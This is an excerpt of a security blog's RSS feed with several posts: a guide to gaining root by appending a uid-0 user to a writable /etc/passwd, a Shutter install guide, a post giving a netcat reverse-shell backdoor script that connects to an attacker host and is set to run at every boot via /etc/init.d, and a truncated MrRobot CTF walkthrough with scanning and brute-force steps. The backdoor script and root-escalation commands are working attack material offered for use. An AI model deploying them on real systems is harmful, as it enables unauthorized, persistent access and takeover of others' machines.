 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 pulse:x:116:122:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 nm-openvpn:x:117:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
 avahi:x:118:125:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
 john:x:1000:1000:john,,,:/home/john:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
The file contains information about all user who are in the system. The structure of fields are as follows :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; UserName | Password | UserID | GroupID | UserInformation | HomeDirectory | Shell
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;UserName&lt;/b&gt; is the user&#39;s login name, that is the name that a user types in when logging into the system.&lt;/li&gt;
&lt;li&gt;The &lt;b&gt;Password&lt;/b&gt; field originally contained an encrypted login password. However, for security reasons, the encrypted passwords are now contained on another file, /etc/shadow, that cannot be read by ordinary users. This field now merely contains the letter x to indicate that a password has been assigned to the user and is required for authentication. If this field is empty, the user can log in without a password.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;UserID&lt;/b&gt; is the user&#39;s unique numeric identification number, which is used by the system for access control. Zero is reserved for the root account&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GroupID&lt;/b&gt; specifies the user&#39;s principal group identification number. This is usually the same as the user ID.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;UserInformation&lt;/b&gt; is basically comment field. It allows to add extra information about the users such as user&#39;s full name, phone number etc.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HomeDirectory&lt;/b&gt; is the full path of the user&#39;s home directory.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Shell&lt;/b&gt; is the full path of the default shell for the user.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;hr /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;etc/shadow file :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The actual password data is stored in a file called &quot;/etc/shadow&quot;. This doesn&#39;t actually contain passwords in plain text, rather it contains hashed password. However this file can be only read/edit bu root users.&lt;br /&gt;
&lt;br /&gt;
Now&amp;nbsp;in some cases the &lt;b&gt;&lt;i&gt;/etc/passwd&lt;/i&gt;&lt;/b&gt; file is writable to normal users also (Specially in some CTF challenges), so in that case a normal user can gain root access by manually editing these files.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt; This method only works if &lt;b&gt;&lt;i&gt;/etc/passwd&lt;/i&gt;&lt;/b&gt; is permitted to read-write for all users. For example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ls -al /etc/passwd
 -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
In this case by appending a new user who has root privilege assigned, into the /etc/passwd file with password we are able to get root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Preparing new user to append on file :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The root user entry is look like this&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; root:x:0:0:root:/root:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
Now we have to place our encrypted password in place of &lt;b&gt;x&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Creating Password :&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
There are lots of method to create hashed password for example :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;With Python :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python -c &#39;import crypt; print crypt.crypt(&quot;password&quot;, &quot;$6$salt&quot;)&#39;
 
 $6$salt$3aEJgflnzWuw1O3tr0IYSmhUY0cZ7iBQeBP392T7RXjLP3TKKu3ddIapQaCpbD4p9ioeGaVIjOHaym7HvCuUm0
&lt;/code&gt;&lt;/pre&gt;
where &quot;password&quot; is password and &quot;$6$salt&quot; is salt value.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;With mkpasswd :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ mkpasswd -m SHA-512 password
 
 $6$FXCnL/3ctsXQJ$2PNnFRCTyb0uh/pq5xsDyfqGIJruZmgVoYsTcioET1xK2sO.73P3JyM3W0UGSVm5DA7KxBleRqx8Ldfb/OVx7/
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;With OpenSSL:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ openssl passwd -1 -salt hack password123
 
 $1$hack$MLgkAESrYp7kzYz0Ex2fV/
&lt;/code&gt;&lt;/pre&gt;
Where :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;-1 : md5 based password algorithm (other options are -5 for SHA256 and -6 for SHA512 ),&lt;/li&gt;
&lt;li&gt;-salt : salt key, which is &quot;hack&quot; and password is password123&lt;/li&gt;
&lt;/ul&gt;
Now we have to append below line into /etc/passwd file :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; newroot:$1$hack$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
Now append above line onto the &lt;b&gt;/etc/passwd&lt;/b&gt; file&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ echo &quot;newroot:\$1\$hack\$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash&quot; &amp;gt;&amp;gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
Note : don&#39;t forget to put &lt;b&gt;\&lt;/b&gt; sign before all the &lt;b&gt;$&lt;/b&gt; sign on the password field, else echo command will try to interpret it as a variable.&lt;br /&gt;
&lt;br /&gt;
Now try to login with our newly created user.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ su - newroot
 $ whoami
 root
&lt;/code&gt;&lt;/pre&gt;
and thats it!, we got a root shell.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/escalation-privilege-on-linuxunix.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1garO5jFPfvCtKRoCSymtCu0W1oc72wU232uvUcn10M24hEDccWItHrlGG_X_pLmtAoS-u0UJ3OVV2OcNGKS_J5wstMcq8IN1-V1pUV558_XZ0RachtDaDBF_O2XWUa5gNKw854jS734/s72-c/screenshot_1.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4995271465001085215</guid><pubDate>Sat, 01 Feb 2020 19:24:00 +0000</pubDate><atom:updated>2020-02-01T11:24:02.449-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">How-To</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><title>Install shutter screenshot tool with Editor Enabled in Ubuntu 18.04</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Shutter is a screenshot application written in perl. You can take a screenshot of a specific area, window, your whole screen, or even of a website. You can apply different effects to it, draw on it to highlight points, and then upload to an image hosting site, all within one window.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Install shutter tool :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt; $ sudo apt update&lt;/pre&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;$ sudo apt install shutter&lt;/pre&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Enabling Image Editing tool :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Some libs are missing as this package is not updated in ages and removed from version 18.04 LTS. Steps to install the libraries are :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas-common_1.0.0-1_all.deb
 $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas3_1.0.0-1_amd64.deb
 $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoo-canvas-perl_0.06-2ubuntu3_amd64.deb
 $ sudo dpkg -i *.deb
 $ sudo apt --fix-broken install
&lt;/code&gt;&lt;/pre&gt;
Now you can able to take screen-shot as well as edit it with shutter.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvOC86umLTu9R3Vggc6d5rwG7bFgDcBhGq8mzS0XU8MWNx5e-fi0BfPo5cW1d47yogQ_w-5ZRhwSZJSPwidvY0qNqPb56FxaBfpecrACdU3h5RAiI-LPDI5iPmE_3YIwuygigQ4-vPlr4/s1600/shutter_Img.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;526&quot; data-original-width=&quot;832&quot; height=&quot;404&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvOC86umLTu9R3Vggc6d5rwG7bFgDcBhGq8mzS0XU8MWNx5e-fi0BfPo5cW1d47yogQ_w-5ZRhwSZJSPwidvY0qNqPb56FxaBfpecrACdU3h5RAiI-LPDI5iPmE_3YIwuygigQ4-vPlr4/s640/shutter_Img.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/install-shutter-screenshot-tool-with.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvOC86umLTu9R3Vggc6d5rwG7bFgDcBhGq8mzS0XU8MWNx5e-fi0BfPo5cW1d47yogQ_w-5ZRhwSZJSPwidvY0qNqPb56FxaBfpecrACdU3h5RAiI-LPDI5iPmE_3YIwuygigQ4-vPlr4/s72-c/shutter_Img.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-2703957468701273068</guid><pubDate>Sat, 01 Feb 2020 19:10:00 +0000</pubDate><atom:updated>2020-02-01T11:27:21.494-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Backdoors</category><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Shell_Scripting</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><title>Setting up remote backdoor on linux machine using netcat | nc</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjFIu45kGFzjuwyaaWmigNVPTs2beZr3DVTnRlt5CBK_h-0fBp0MLXW_LgtRg64axqKO9X9mfky-LCy3DvmnIme4c0WV40ICvmQ6TUQGk2eCcOo8S4sNJBrZDBkb76JC6WtPovfhSzGo/s1600/screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;250&quot; data-original-width=&quot;531&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjFIu45kGFzjuwyaaWmigNVPTs2beZr3DVTnRlt5CBK_h-0fBp0MLXW_LgtRg64axqKO9X9mfky-LCy3DvmnIme4c0WV40ICvmQ6TUQGk2eCcOo8S4sNJBrZDBkb76JC6WtPovfhSzGo/s320/screenshot.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
It can be useful when attacker gained root access to the target system, and want to persistence access to it at every reboot. Backdoor code : &lt;b&gt;backdoor.sh&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;#!/bin/bash
while true
do
    nc attacker_ip_address port_number -e /bin/bash
    sleep 10
done&lt;/pre&gt;
Put above code on &lt;b&gt;&lt;i&gt;/etc/init.d&lt;/i&gt;&lt;/b&gt; and make it executable.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ chmod +x /etc/init.d/backdoor.sh
&lt;/code&gt;&lt;/pre&gt;
Add it to autorun at startup with &lt;b&gt;&lt;i&gt;update-rc.d&lt;/i&gt;&lt;/b&gt; :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ update-rc.d /etc/init.d/backdoor.sh defaults
&lt;/code&gt;&lt;/pre&gt;
Thats it, now just start listener to your attacker machine and it connects to the victim machine at every startup.&lt;br /&gt;
&lt;br /&gt;
What is /etc/init.d :&amp;nbsp;This is the traditional service management package for Linux, containing the init program (the first process that is run when the kernel has finished initializing) as well as some infrastructure to start and stop services and configure them.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Code when netcat does not support &#39;-e&#39; (exec) option&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;#!/bin/bash
mknod backpipe p
while true
do
    /bin/sh 0&amp;lt;/tmp/backpipe | nc attacker_ip_address port_number 1&amp;gt;/tmp/backpipe
    sleep 10
done&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/setting-up-remote-backdoor-on-linux.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjFIu45kGFzjuwyaaWmigNVPTs2beZr3DVTnRlt5CBK_h-0fBp0MLXW_LgtRg64axqKO9X9mfky-LCy3DvmnIme4c0WV40ICvmQ6TUQGk2eCcOo8S4sNJBrZDBkb76JC6WtPovfhSzGo/s72-c/screenshot.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-7275991601791280195</guid><pubDate>Sat, 01 Feb 2020 15:16:00 +0000</pubDate><atom:updated>2020-02-01T11:28:08.348-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title>MrRobot CTF VM WalkThrough from VulnHub</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM&lt;/b&gt; : &lt;b&gt;MrRobot&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Download Link :&amp;nbsp;&lt;a href=&quot;https://www.vulnhub.com/entry/basic-pentesting-2,241/&quot;&gt;https://www.vulnhub.com/entry/basic-pentesting-2,241/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Getting Target machine IP :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Scan the whole network to identify the target IP.&lt;br /&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; nmap -sP 192.168.56.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;-sP&lt;/i&gt;&lt;/b&gt; sends ICMP echo request and only tells if host is up or down. Our target system is &lt;b&gt;&lt;i&gt;192.168.56.101&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning the target&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sV 192.168.56.101 -oN target.scan
 
         STATE  SERVICE  VERSION
 22/tcp  closed ssh
 80/tcp  open   http     Apache httpd
 443/tcp open   ssl/http Apache httpd
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
There are only two ports open.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;-oN&lt;/i&gt;&lt;/b&gt; stores the output in a normal file(target.scan), theres also various format available.&lt;br /&gt;
&lt;br /&gt;
At port 80 the web page is available, but theres nothing any interesting data.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2vwnvSuhaQIXZ5HXpCf9-6LfHx-8bmJEk_CFL6Ut3FeG85QRrK4vMxj1lM6RNBYfZ1frr0psHlPe9yC8tCuYSoHWR0Z6qwaAOcDQMldeLToiSz0gpr0M0RyhdTIFuwEtMU62SYzWGww/s1600/img1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;718&quot; data-original-width=&quot;648&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2vwnvSuhaQIXZ5HXpCf9-6LfHx-8bmJEk_CFL6Ut3FeG85QRrK4vMxj1lM6RNBYfZ1frr0psHlPe9yC8tCuYSoHWR0Z6qwaAOcDQMldeLToiSz0gpr0M0RyhdTIFuwEtMU62SYzWGww/s1600/img1.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning the target web server for hiden urls and other stuffs&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://192.168.56.101 -o dirb.scan
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
It seem there have some problem on scanning(because i am running attacker machine on docker container), so i need to use -w option to ignore the warning.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://192.168.56.101 -o dirb.scan&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Scanning for wordpress website :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wpscan --url http://192.168.56.101
&lt;/code&gt;&lt;/pre&gt;
Some of the important findings are :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ttp://192.168.56.101/0/
 http://192.168.56.101/admin/
 http://192.168.56.101/robots.txt
 .......
&lt;/code&gt;&lt;/pre&gt;
where at &lt;b&gt;&lt;i&gt;http://192.168.56.101/0/&lt;/i&gt;&lt;/b&gt; a wordpress website is hosted.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUa6QJ5PZ98JTjLVyBXzoBLDW5gG_2Xdb5QbtBpVQBqXzC3yHN1mIi_T5eBsYvWbUPbMycJukFHbGjm2z5eM6fu2Xbmr_kh27-nGywTmOaX3KHC0sPosy3OC1-jw7IR33P4yjoF0rDq6w/s1600/img2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;669&quot; data-original-width=&quot;655&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUa6QJ5PZ98JTjLVyBXzoBLDW5gG_2Xdb5QbtBpVQBqXzC3yHN1mIi_T5eBsYvWbUPbMycJukFHbGjm2z5eM6fu2Xbmr_kh27-nGywTmOaX3KHC0sPosy3OC1-jw7IR33P4yjoF0rDq6w/s1600/img2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now the robots.txt file have some interested things, so first download it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget http://192.168.56.101/robots.txt
 --2019-11-13 15:52:46--  http://192.168.56.101/robots.txt
 Connecting to 192.168.56.101:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 41 [text/plain]
 Saving to: &#39;robots.txt&#39;
 
 robots.txt           100%[========================&amp;gt;]      41  --.-KB/s    in 0s
 
 2019-11-13 15:52:46 (4.69 MB/s) - &#39;robots.txt&#39; saved [41/41]
 
 $ cat robots.txt
 User-agent: *
 fsocity.dic
 key-1-of-3.txt
&lt;/code&gt;&lt;/pre&gt;
As we can see that we find our first key and a another file &lt;b&gt;&lt;i&gt;fsocity.dic&lt;/i&gt;&lt;/b&gt;, now download it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget http://192.168.56.101/key-1-of-3.txt
 $ cat key-1-of-3.txt
 1f80d943455fb30724b9
&lt;/code&gt;&lt;/pre&gt;
It contains the flag value. Now lets check another file.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget http://192.168.56.101/fsocity.dic
&lt;/code&gt;&lt;/pre&gt;
This file contains the list of 858160 words.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; wc -l fsocity.dic
&lt;/code&gt;&lt;/pre&gt;
Now let sort the file and remove duplicates&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat fsocity.dic | sort | uniq &amp;gt; fsocity_sorted.dic
&lt;/code&gt;&lt;/pre&gt;
Now the file length is 11451. This list can be login for the wordpress website. So try to bruteforce the wordpress login with this list. First we bruteforce the username field then password field. For bruteforec we are going to use hydra.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;BruteForcing WordPress Login with Hydra&lt;/span&gt; :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
For basics use hydra refer to this : &lt;a href=&quot;http://www.sec-art.net/2018/02/how-to-use-thc-hydra-for-bruteforcing.html&quot; target=&quot;_blank&quot;&gt;http://www.sec-art.net/hydra&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Bruteforcing username:&lt;br /&gt;
